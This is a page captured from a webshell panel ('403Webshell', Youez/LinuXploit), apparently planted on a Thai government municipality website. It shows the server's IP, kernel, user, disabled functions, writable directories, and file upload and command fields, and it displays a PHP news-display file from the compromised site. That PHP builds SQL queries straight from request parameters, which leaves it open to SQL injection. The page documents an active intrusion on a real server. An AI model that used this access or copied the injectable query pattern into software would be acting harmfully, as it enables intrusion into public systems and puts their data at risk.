403Webshell
Server IP : 119.59.102.212  /  Your IP : 18.188.54.133
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/news_out/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/news_out/news_full.php
<?php
// Status Package Module
$status_module=select_query("status_module","cms_status_module","id","4");
if($status_module[0]!=1)	{	
	fieldset_no_module();
}

include('coremain/connec_out.php');
$navig['news']="รายละเอียดข่าวข่าวประชาสัมพันธ์ (ภายนอกหน่วยงาน)";
navigator($navig);
echo"<br>";
bar_header("ข่าวประชาสัมพันธ์ (ภายนอกหน่วยงาน)"); // Bar_Header
fieldset_top("ข่าวประชาสัมพันธ์");

if($p_id_news!="")					{	     $id_news=trim($p_id_news);			}
if($p_id_tumbon!="")				{	     $id_tumbon=trim($p_id_tumbon);		}

// นับจำนวนผู้เข้าชมข่าวเพิ่มขึ้นทีละ 1 
	$sql="select max(state+1) from cms_news WHERE id='$id_news' and id_tumbon='$id_tumbon'";
	$result=mysql_query($sql);
	$max= mysql_fetch_array($result);

	$sql="UPDATE cms_news SET state='$max[0]' WHERE id='$id_news' and id_tumbon='$id_tumbon'";
	$result=mysql_query($sql);


// แสดงเนื้อหาข่าวประชาสัมพันธ์ (ภายนอกหน่วยงาน)
echo"<table width='100%' border='0' cellspacing='1'  align='center' cellpadding='0'>";
$sql="SELECT * FROM cms_news WHERE id_tumbon='$id_tumbon' and id='$id_news' and status=1";
$re=mysql_query($sql);
$co=mysql_num_rows($re);
if($co==0){
	echo "<center><br><br><b>*** ไม่พบข้อมูล</b><br><br></center>";
	exit;
}
$data=mysql_fetch_array($re);
{			
			// เนื้อหาข่าว
			news_full($data[topic],$data[fulltexts]);

			// รูปประกอบข่าว
			if($data[pic1]!="") { 
				box_picture_out($data[pic1],$data[position_pic1]);
				msg_picture($data[explain1],$data[position_pic1]);
			}
			if($data[pic2]!="") { 
				box_picture_out($data[pic2],$data[position_pic2]);
				msg_picture($data[explain2],$data[position_pic2]);
			}
			if($data[pic3]!="") { 
				box_picture_out($data[pic3],$data[position_pic3]);
				msg_picture($data[explain3],$data[position_pic3]);
			}
			if($data[pic4]!="") { 
				box_picture_out($data[pic4],$data[position_pic4]);
				msg_picture($data[explain4],$data[position_pic4]);
			}

			// ไฟล์ประกอบข่าว
			if($data[files]!=""){		
			echo"  <tr width=100>";
				echo"<td width='100%'>";									
							echo "<p align='center'><a href='$data[files]' target=blank><u>ไฟล์ประกอบ</u></a></p>";
				echo"</td>";
			echo"</tr>";
			}

			// รายละเอียดอื่น ๆ
			box_other($data[who], $data[date_post]);
}
echo"</table>";
mysql_close($handle_out);
include("$_SESSION[web_name]/connect.php");
fieldset_down();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit